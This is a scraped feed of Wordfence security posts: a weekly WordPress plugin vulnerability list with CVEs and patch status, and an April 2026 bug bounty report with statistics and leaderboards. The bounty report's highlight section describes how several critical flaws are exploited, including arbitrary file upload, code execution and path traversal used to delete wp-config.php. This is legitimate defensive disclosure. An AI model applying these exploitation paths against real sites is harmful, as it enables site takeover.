SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-5114

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SpeedyCache – Cache, Optimization, Performance [speedycache]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15444

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-6089

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP CTA – Call Now Button, Sticky Button & Call to Action Builder [easy-sticky-sidebar]

Researchers

Nguyen Quang Truong

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15344

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP Photo Album Plus [wp-photo-album-plus]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-11973

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

WP-Lister Lite for eBay [wp-lister-for-ebay]

Researchers

Yousof Nahya

Hamza Nour

Yousof Nahya (whoami03)

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-17555

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WPvivid — Backup, Migration & Staging [wpvivid-backuprestore]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-66475

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Checkout Field Editor for WooCommerce – Checkout Manager [checkout-field-editor-and-manager-for-woocommerce]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-15673

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16587

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Advanced Form Integration — Connect Forms to 200+ Apps [advanced-form-integration]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65554

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

AnsPress – Question and answer [anspress-question-answer]

Researcher

Taylsec

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66692

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Colissimo shipping methods for WooCommerce [colissimo-shipping-methods-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15136

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66699

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy [dokan-lite]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14188

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14226

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Phyo Ko Ko

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14223

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Mark Moore

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14224

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Duy Tran

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14222

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

WEI HSIANG WANG

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14221

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Youssef massoudi

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-17166

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

FuseWP – WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.) [fusewp]

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-9720

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Facturación Electrónica Costa Rica [factura-electronica-cr]

Researcher

swat

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59560

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

FundEngine – Donation and Crowdfunding Platform [wp-fundraising-donation]

Researcher

Septio Noerdiansyah

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-5582

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Researcher

Deadbee

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66428

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Google Review Slider [wp-google-places-review-slider]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66474

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Insert Headers and Footers Code – HT Script [insert-headers-and-footers-script]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-2916

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress [jeg-elementor-kit]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66696

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred [mycred]

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14231

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes [lifterlms]

Researcher

Daniel Púa – devploit

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61968

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Researcher

Riyas M S

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-10782

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

RealHomes Memberships [inspiry-memberships]

Researcher

dyingman

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65433

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15252

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization [metasync]

Researcher

LevinityCyber

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16797

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin [woolentor-addons]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61973

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

ShopLentor Pro [woolentor-addons-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-5626

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Survey Form Block – collect answers and insights from your audience [survey-form-block]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14923

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Sync Post With Other Site [sync-post-with-other-site]

Researcher

Shikhali Jamalzade

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2025-14469

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Theme Editor [theme-editor]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14310

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

Sanjar Tulkinov

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61971

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

User Profile Picture [metronet-profile-picture]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65543

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Vimeo [vimeo]

Researcher

0xzenko

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-28144

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters [wp-google-map-plugin]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13145

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66442

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

YayPricing – WooCommerce Dynamic Pricing & Discounts [yaypricing]

Researcher

K. Sorrachat

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65434

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ЮKassa для WooCommerce [yookassa]

Researcher

Start Your Security Research Journey

CVSS Rating
4.1 (Medium)

CVE-ID

CVE-2026-4912

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Media Cleaner: Clean your WordPress! [media-cleaner]

Researcher

lucsob

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (July 27, 2026 to August 2, 2026) appeared first on Wordfence.

Wordfence Bug Bounty Program Monthly Report – April 2026

Simon Browning — Fri, 31 Jul 2026 20:39:58 +0000

In April 2026, the Wordfence Bug Bounty Program received 1288 vulnerability submissions from our growing community of security researchers working to improve the overall security posture of the WordPress ecosystem. These submissions are reviewed, triaged, and processed by the Wordfence Threat Intelligence team, with validated vulnerabilities responsibly disclosed to vendors, often through the Wordfence Vulnerability Management Portal – a free service for all WordPress vendors, and protected through the Wordfence Firewall where appropriate.

Our mission with the Wordfence Bug Bounty Program is to engage the broader security community in identifying and responsibly disclosing vulnerabilities in WordPress plugins and themes, so we can work with vendors to get them patched before attackers discover them. This collaborative effort enables Wordfence to accelerate patch adoption, provide early protection to millions of websites, and ensure that high-quality vulnerability intelligence reaches the WordPress ecosystem as efficiently as possible. It also ensures that we are able to remediate vulnerabilities before attackers are able to discover them and start exploiting them. That is why we reward researchers for valid submissions, and why we remain committed to processing every report with transparency, accuracy, and urgency.

Join the Wordfence Bug Bounty Program

Help secure the WordPress ecosystem while earning rewards for your security research.

We’re actively seeking skilled researchers to identify vulnerabilities in WordPress plugins and themes, with prompt payments and transparent processes.

As the most comprehensive and highest-quality WordPress vulnerability program, the Wordfence Bug Bounty Program plays a critical role in helping site owners, developers, and hosting providers stay ahead of emerging threats at all stages of the open source lifecycle.

In this report, we highlight key metrics of the Bug Bounty Program from April 2026, recognize the researchers contributing to WordPress security, and provide insight into the vulnerabilities uncovered and addressed.

Table of Contents
Program Submission Highlights – April 2026
WordPress Software Vulnerability Submission Insights – April 2026
Bounty Insights – April 2026
Top WordPress Security Researchers – April 2026
Current WordPress Bug Bounty Program Promotions
Critical WordPress Software Vulnerability Highlights – April 2026
Conclusion

If you’re interested in joining the program or learning more about how we responsibly manage disclosures and protect WordPress users, visit the Bug Bounty Program page.

WordPress Software Vendors – Sign Up For Free Centralized Management of all Vulnerabilities in Your Software

Wordfence provides a completely free vulnerability management portal for WordPress Software vendors to easily track and manage all vulnerabilities submitted to the Wordfence Bug Bounty Program, and added to the Wordfence Intelligence Vulnerability Database.

This portal streamlines and enhances the repsonsible disclosure process so you can secure your customers faster.

Get Started With the Vendor Portal Today

Program Submission Highlights – April 2026

The Wordfence Bug Bounty Program is designed for momentum: rapid triage of critical issues, clear feedback, and fast, fair rewards. Each submission moves through our standardized workflow of validation, vendor coordination, patch verification, and firewall coverage where applicable, so research translates into real-world protection quickly.

Real-Time Protection Impact

Every vulnerability disclosed through this program is a threat you don’t have to face blindly. Our researchers uncover and report vulnerabilities before they can be exploited, and Wordfence Premium, Care and Response users get protection in real-time through our firewall. Free users are protected in 30 days.

Behind the numbers is meaningful impact for site owners. The issues surfaced here inform new firewall rules, strengthen our detection logic, and help vendors ship safer releases. If you’re new to bounty hunting, this is a great place to start: we publish scope clearly, pay promptly, and credit the work that keeps WordPress secure.

Total Submissions

1288

-25.0% from last month

Active Researchers

327

+1.9% from last month

High Threat

-7.1% from last month

Common & Dangerous

-34.6% from last month

WAF Rules Released

-40.0% from last month

Vulnerability Focus Areas

High Threat Vulnerabilities: Issues that could result in full site compromise, such as Arbitrary File Uploads or Remote Code Execution. Must be exploitable by unauthenticated or low-level authenticated attackers with software having 25+ active installations.
Common & Dangerous: Stored Cross-Site Scripting and SQL Injection vulnerabilities exploitable by unauthenticated or low-level authenticated attackers. Software must have 500+ active installations.

Bounty Insights – April 2026

Our research powers real investment back into the community. This section totals bounties and bonuses paid for the month and showcases standout findings. Our philosophy is simple: reward high-quality, responsibly disclosed research that measurably reduces risk for WordPress users.

Total Bounties Awarded

$37,054

April 2026

Average Bounty Per Submission

$205.86

Per validated in-scope submission

Highest Single Bounty

$4,914

Top researcher reward

Top 5 Bounties Awarded

Vulnerability	Bounty	Install Count
Slider Revolution 7.0.0 – 7.0.10 – Authenticated (Subscriber+) Arbitrary File Upload via _get_media_url	$4,914.00	5000000
Avada (Fusion) Builder <= 3.15.2 – Unauthenticated Remote Code Execution via PHP Function Injection via ‘render_logics’ Shortcode Attribute via Widget AJAX Handler	$2,600.00	968000
Unauthenticated Arbitrary File Upload (In Disclosure)	$1,300.00	30000
Frontend Admin by DynamiApps <= 3.29.2 – Unauthenticated Privilege Escalation via Form Configuration Injection	$975.00	9000
Slider Revolution 7.0 – 7.0.10 – Authenticated (Subscriber+) Sensitive Information Disclosure	$960.00	5000000

Want to earn more? Read the scope carefully, target high-threat classes, and include clear reproduction steps with proof of impact. We pay promptly on validated issues, and bonus multipliers may apply during limited-time promotions and challenges.

WordPress Software Vulnerability Submission Insights – April 2026

This section breaks down how reports map to our program outcomes. What’s in scope, what isn’t, and where the highest security impact typically sits. We highlight the most common in-scope vulnerability classes and the categories that yielded the largest rewards so researchers can focus their efforts where they matter most.

Authentication level and exploit preconditions drive risk and reward through our program. Unauthenticated and low-privilege paths tend to have outsized impact because they scale to more real-world compromise. Use these insights to prioritize your testing strategy and maximize both security value and bounty potential.

Total Number of Vulnerabilities Considered In Scope, Out of Scope, Rejected, or Duplicate

In Scope	Out of Scope	Rejected	Duplicate
180	165	572	371

Top 10 Most Commonly Submitted In-Scope Vulnerability Types

The most frequently submitted vulnerability types highlight current testing focus areas across the researcher community. These patterns often reflect both ease of discovery and prevalence in the WordPress ecosystem.

Vulnerability Type	Total Submissions	Total Rewards	Avg. Reward
CWE 79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	64	$5,600.00	$87.50
CWE 862: Missing Authorization	12	$1,245.00	$103.75
CWE 269: Improper Privilege Management	11	$4,335.00	$394.09
CWE 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	11	$1,228.00	$111.64
CWE 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	9	$2,491.00	$276.78
CWE 639: Authorization Bypass Through User-Controlled Key	8	$252.00	$31.50
CWE 434: Unrestricted Upload of File with Dangerous Type	6	$8,116.00	$1,352.67
CWE 266: Incorrect Privilege Assignment	4	$1,073.00	$268.25
CWE 640: Weak Password Recovery Mechanism for Forgotten Password	4	$1,360.00	$340.00
CWE 287: Improper Authentication	3	$894.00	$298.00

Top 10 Highest Rewarded In-Scope Vulnerability Types

While some vulnerabilities appear frequently, others command premium rewards. This breakdown shows which vulnerability classes generated the highest total payouts across all submissions in those categories, indicating both severity and exploitability value.

Vulnerability Type	Total Rewards	Total Submissions	Avg. Reward
CWE 434: Unrestricted Upload of File with Dangerous Type	$8,116.00	6	$1,352.67
CWE 79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	$5,600.00	64	$87.50
CWE 269: Improper Privilege Management	$4,335.00	11	$394.09
CWE 74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)	$2,600.00	1	$2,600.00
CWE 22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	$2,491.00	9	$276.78
CWE 640: Weak Password Recovery Mechanism for Forgotten Password	$1,360.00	4	$340.00
CWE 502: Deserialization of Untrusted Data	$1,338.00	3	$446.00
CWE 862: Missing Authorization	$1,245.00	12	$103.75
CWE 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	$1,228.00	11	$111.64
CWE 266: Incorrect Privilege Assignment	$1,073.00	4	$268.25

In-Scope Vulnerability Distribution by Authentication Level

Authentication requirements directly impact real-world exploitability. Unauthenticated and subscriber-level vulnerabilities typically pose greater risk, reflected in both our prioritization and reward structure.

Authentication Level	Total Vulnerabilities	Avg. Reward
Unauthenticated	81	$253.59
Contributor	33	$101.87
Subscriber	32	$418.83
Author	12	$143.75
Custom	7	$117.50
Unauthenticated – UI Required	5	$161.60

Vulnerability Submission Install Count Spread

Install counts help us gauge blast radius. Higher install bases can move a finding into higher priority and often correlate with stronger payouts, while smaller-but-critical ecosystems still qualify when the exploitability and impact warrant it.

Install Range	Total Vulnerabilities	Average CVSS	Avg. Reward
1,000–49,999	65	7.63	$170.98
100,000–999,999	46	6.26	$349.17
50,000–99,999	30	6.34	$93.93
Off-Repo	22	8.05	$207.28
5,000,000+	6	6.26	$1,416.40
1,000,000–4,999,999	4	7.60	$456.50
500–999	3	6.70	$10.67
0–499	2	8.65	$33.00

Top WordPress Security Researchers – April 2026

Security is a team sport, and this leaderboard celebrates the people raising the bar. We recognize contributors by valid in-scope submissions, overall earnings, and average severity to highlight different paths to excellence.

Top 5 Researchers based on Volume of In-Scope Submissions

Volume leaders demonstrate consistent vulnerability discovery across diverse targets. These researchers excel at systematic testing and maintaining high validation rates.

Researcher	Total Submissions	Avg. Reward
Rafie Muhammad	14	$266.00
lhking	9	$369.22
Nguyen Ngoc Duc (duc193)	7	$376.14
Webbernaut	6	$248.67
h0xilo	6	$1,161.00

Top 5 Researchers Based on Average CVSS of In-Scope Submissions

Quality over quantity defines these researchers who consistently identify high-severity vulnerabilities. Their average CVSS scores reflect expertise in finding critical security gaps.

Researcher	Average CVSS	Total Submissions	Avg. Reward
Ankit Patel	9.80	1	$195.00
bashu	9.80	1	$325.00
snr	9.80	1	$33.00
Tin Pham (TF1T)	9.80	2	$1,467.00
maru	9.80	1	$455.00

Top 5 Researchers Based On Total Bounties Earned

Combining volume with severity, these top earners maximized their impact and rewards through strategic vulnerability research and comprehensive reporting.

Researcher	Total Earned	Total Submissions	Avg. Reward
h0xilo	$6,966.00	6	$1,161.00
Rafie Muhammad	$3,724.00	14	$266.00
lhking	$3,323.00	9	$369.22
Tin Pham (TF1T)	$2,934.00	2	$1,467.00
Nguyen Ngoc Duc (duc193)	$2,633.00	7	$376.14

Researchers Promoted to the Next Tier

Congratulations to the following researchers who have unlocked the next tier! Tier promotions reflect sustained performance, precision, and professionalism in disclosure. Advancing unlocks higher caps, faster reviews, and more visibility. If you’re climbing the ranks, focus on high risk vulnerabilities, keep reports crisp, attach working PoCs, and include mitigation notes vendors can ship quickly.

Elite Researcher Tier (1337)

0 researchers advanced to elite status

No Elite Researcher Promotions

No researchers advanced to elite (1337) status this month

Resourceful Researcher Tier

0 researchers advanced to resourceful status

No Resourceful Researcher Promotions

No researchers advanced to resourceful status this month

Current WordPress Bug Bounty Program Promotions

As part of our Bug Bounty Program, we regularly launch special promotions that boost bounty rewards and expand research scope. These initiatives are designed to reinforce our mission: delivering the highest quality vulnerability intelligence while encouraging researchers to focus on the discoveries that have the greatest positive impact on the WordPress ecosystem.

At the same time, we also look for promotions that give researchers opportunities to sharpen their skills, take on new challenges, and continue growing into the best of the best in WordPress security research. We often supplement these with educational material for researchers to learn and apply their skills during these promotions.

Below, you’ll find details on all currently active challenges—including timelines and a quick overview of each promotion.

No promotions currently running.

New to promotions? Start by confirming the software and version range are in scope, validate exploitability on a clean test environment, and submit with clear steps, affected code paths, and impact. Promotions are perfect opportunities for both new and seasoned researchers to maximize earnings while driving faster patch adoption. And remember, you can always check what’s in-scope and out-of-scope by using the Wordfence bounty estimator.

Critical WordPress Software Vulnerability Highlights – April 2026

These case studies spotlight high-impact vulnerabilities uncovered through the program, why they matter, and how quickly protection rolled out. We share technical detail to help researchers learn, vendors harden code, and users understand why timely updates aren’t optional.

If you maintain a site, update to the patched versions listed and ensure Wordfence is active so you benefit from new firewall coverage as it ships. If you’re a researcher, use these write-ups to inform your hunt: patterns repeat, and past root causes often reappear in adjacent code.

Attackers Actively Exploiting Critical Vulnerability in Ninja Forms – File Upload Plugin

Ninja Forms – File Upload <= 3.3.26 – Unauthenticated Arbitrary File Upload

Submitted by:
Sélim Lanouar (whattheslime)

Bounty Awarded:
$2,145.00

Technical Details:

The Ninja Forms – File Uploads plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ‘NF_FU_AJAX_Controllers_Uploads::handle_upload’ function in all versions up to, and including, 3.3.26. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible. Note: The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.

Attackers Actively Exploiting Critical Vulnerability in Kali Forms Plugin

Kali Forms <= 2.4.9 – Unauthenticated Remote Code Execution via form_process

Submitted by:
ISMAILSHADOW

Bounty Awarded:
$2,145.00

Technical Details:

The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the ‘form_process’ function. This is due to the ‘prepare_post_data’ function mapping user-supplied keys directly into internal placeholder storage, combined with the use of ‘call_user_func’ on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.

50,000 WordPress Sites affected by Arbitrary File Upload Vulnerability in Ninja Forms – File Upload WordPress Plugin

Ninja Forms – File Upload <= 3.3.26 – Unauthenticated Arbitrary File Upload

Submitted by:
Sélim Lanouar (whattheslime)

Bounty Awarded:
$2,145.00

Technical Details:

200,000 WordPress Sites Affected by Arbitrary File Deletion Vulnerability in Perfmatters WordPress Plugin

Perfmatters <= 2.5.9.1 – Authenticated (Subscriber+) Arbitrary File Deletion via ‘delete’ Parameter

Submitted by:
h0xilo

Bounty Awarded:
$3,726.00

Technical Details:

The Perfmatters plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in all versions up to, and including, 2.5.9.1. This is due to the `PMCS::action_handler()` method processing the `$_GET[‘delete’]` parameter without any sanitization, authorization check, or nonce verification. The unsanitized filename is concatenated with the storage directory path and passed to `unlink()`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server by using `../` path traversal sequences, including `wp-config.php` which would force WordPress into the installation wizard and allow full site takeover.

200,000 WordPress Sites Affected by Arbitrary File Move Vulnerability in MW WP Form WordPress Plugin

MW WP Form <= 5.1.0 – Unauthenticated Arbitrary File Move via move_temp_file_to_upload_dir

Submitted by:
ISMAILSHADOW

Bounty Awarded:
$3,105.00

Technical Details:

The MW WP Form plugin for WordPress is vulnerable to arbitrary file moving due to insufficient file path validation via the ‘generate_user_filepath’ function and the ‘move_temp_file_to_upload_dir’ function in all versions up to, and including, 5.1.0. This makes it possible for unauthenticated attackers to move arbitrary files on the server, which can easily lead to remote code execution when the right file is moved (such as wp-config.php). The vulnerability is only exploitable if a file upload field is added to the form and the “Saving inquiry data in database” option is enabled.

Conclusion

WordPress thrives when researchers, vendors, hosts, and site owners pull in the same direction. By funding high-quality research, coordinating responsible disclosure, and shipping firewall rules at scale, Wordfence turns findings into protection for millions of sites.

If you’re a researcher, join the program and submit your next report. If you’re a site owner, update early and often, and run Wordfence to stay ahead of emerging threats. If you’re a vendor, sign up for the vulnerability management portal to receive real-time notifications when new vulnerabilities are reported in your software. Together, we make the WordPress ecosystem safer.

The post Wordfence Bug Bounty Program Monthly Report – April 2026 appeared first on Wordfence.

Wordfence Intelligence Weekly WordPress Vulnerability Report (July 20, 2026 to July 26, 2026)

Simon Browning — Thu, 30 Jul 2026 20:40:22 +0000

Last week, there were 223 vulnerabilities disclosed in 175 WordPress Plugins and 6 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 88 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

New Firewall Rules Deployed Last Week

The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:

Admin and Site Enhancements (ASE) Pro <= 8.9.0 – Unauthenticated Remote Code Execution via PHP Code Injection via cfgroup[input] Repeater Row Key

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status	Number of Vulnerabilities
Patched	155
Unpatched	68

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating	Number of Vulnerabilities
Medium Severity	172
High Severity	42
Critical Severity	9

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE	Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	70
Missing Authorization	59
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	25
Exposure of Sensitive Information to an Unauthorized Actor	13
Cross-Site Request Forgery (CSRF)	11
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	8
Server-Side Request Forgery (SSRF)	7
Unrestricted Upload of File with Dangerous Type	5
Authorization Bypass Through User-Controlled Key	4
Deserialization of Untrusted Data	4
Improper Authentication	3
Improper Control of Generation of Code (‘Code Injection’)	3
Improper Privilege Management	3
Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)	2
Improper Input Validation	2
Incorrect Privilege Assignment	2
Incorrect Authorization	1
Relative Path Traversal	1

Researchers That Contributed to WordPress Security Last Week

Researcher Name	Number of Vulnerabilities
Ananda Dhakal	49
Wordfence PRISM	28
Trương Hữu Phúc (truonghuuphuc)	6
dutafi	6
Que Thanh Tuan	6
Nabil Irawan	5
Phat RiO	5
hhhai	4
Nguyen Ba Khanh	4
daroo	4
João Pedro S Alcântara (Kinorth)	4
Asaf Mozes	3
VanTastic	3
ed32.dll	3
Bao – BlueRock	3
dodoh4t	3
Legion Hunter	3
Abdullah Kareem “cyberkareem”	2
Tran Nguyen Bao Khanh	2
theviper17y	2
Luc Huynh from Noventiq RedTeam	2
Quốc Huy (jtwings)	2
Steven Julian	2
Muhammad Yudha – DJ	2
Expatch	2
ParkHyunWoo	2
Supakiad S. (m3ez)	2
Mitchell	2
CHOIGYEONGMIN	2
Guillermo Álvarez	1
Taylsec	1
HieuPenguinnn	1
Abu Hurayra	1
L4m	1
Arif Shaikh	1
moonge	1
Afan	1
anhcd05	1
Nguyen Cong Quang	1
z3r0s	1
Bonds	1
Mrreee	1
NosleeP++	1
babyhack	1
gidget smith	1
timomangcut	1
Rafie Muhammad	1
Vamshi Krishna Upadrasta	1
Austin Ginder	1
Dmitrii Ignatyev	1
zaim	1
Osvaldo Noe Gonzalez Del Rio (Os)	1
Derrick Gilliland	1
japaneseknotweed	1
hivesec	1
Thaer Assfour	1
testoun	1
buitu	1
Riyas M S	1
Celvex Group	1
Manopakorn Kooharueangrong (manop55555)	1
WiniS	1
Securepeak Research Team	1
Vincent Szopa (bioflavonoid)	1
Viet Anh Ngo	1
johska	1
luc	1
Abu Hurayra (HurayraIIT)	1
Denny Abraham Sinaga	1
benzdeus	1
jh_hack	1
Mike Montoya	1
zer0gh0st	1
Zainul Anwar Adi Putra	1
qdtad	1
0xd4rk5id3	1
lhking	1
VuNBT	1
duna	1
James Paremain	1
san6051	1
AeonRisk	1
Jonah Burgess (CryptoCat)	1
Levon Balyan	1
Luis Koleski	1
longnv719	1
bashu	1
Robert Hartinger	1

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name	Software Slug
Abandoned Cart Lite for WooCommerce	woocommerce-abandoned-cart
Accept Donations with PayPal & Stripe	easy-paypal-donation
Advanced Views – Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver…	acf-views
AffiliateWP	affiliate-wp
AffiliateX – Amazon Affiliate Plugin, Product Boxes, Comparison Tables & Affiliate Link Tracking	affiliatex
AI Copilot – Content Generator	ai-copilot-content-generator
Appointment Hour Booking – Booking Calendar	appointment-hour-booking
ARforms	arforms
Avada Core	fusion-core
Avada Custom Branding	fusion-white-label-branding
AWP Classifieds	another-wordpress-classifieds-plugin
BetterDocs – AI Documentation, Knowledge Base, Docs, Wikis, FAQ with Chatbot	betterdocs
Booking and Rental Manager for Bike \| Car \| Resort \| Appointment \| Dress \| Equipment	booking-and-rental-manager-for-woocommerce
Brands for WooCommerce	brands-for-woocommerce
Broadcast Live Video – Live Streaming : WebRTC, HLS, RTSP, RTMP	videowhisper-live-streaming-integration
BSK PDF Manager	bsk-pdf-manager
Bulk Page Generator – LPagery	lpagery
Byteflows Travel & Hotel Booking	byteflows-travel-hotel-booking
Checkout Field Editor for WooCommerce (Pro)	woocommerce-checkout-field-editor-pro
Civi Framework	civi-framework
CoCart – Headless REST API for WooCommerce	cart-rest-api-for-woocommerce
Complianz – GDPR/CCPA Cookie Consent	complianz-gdpr
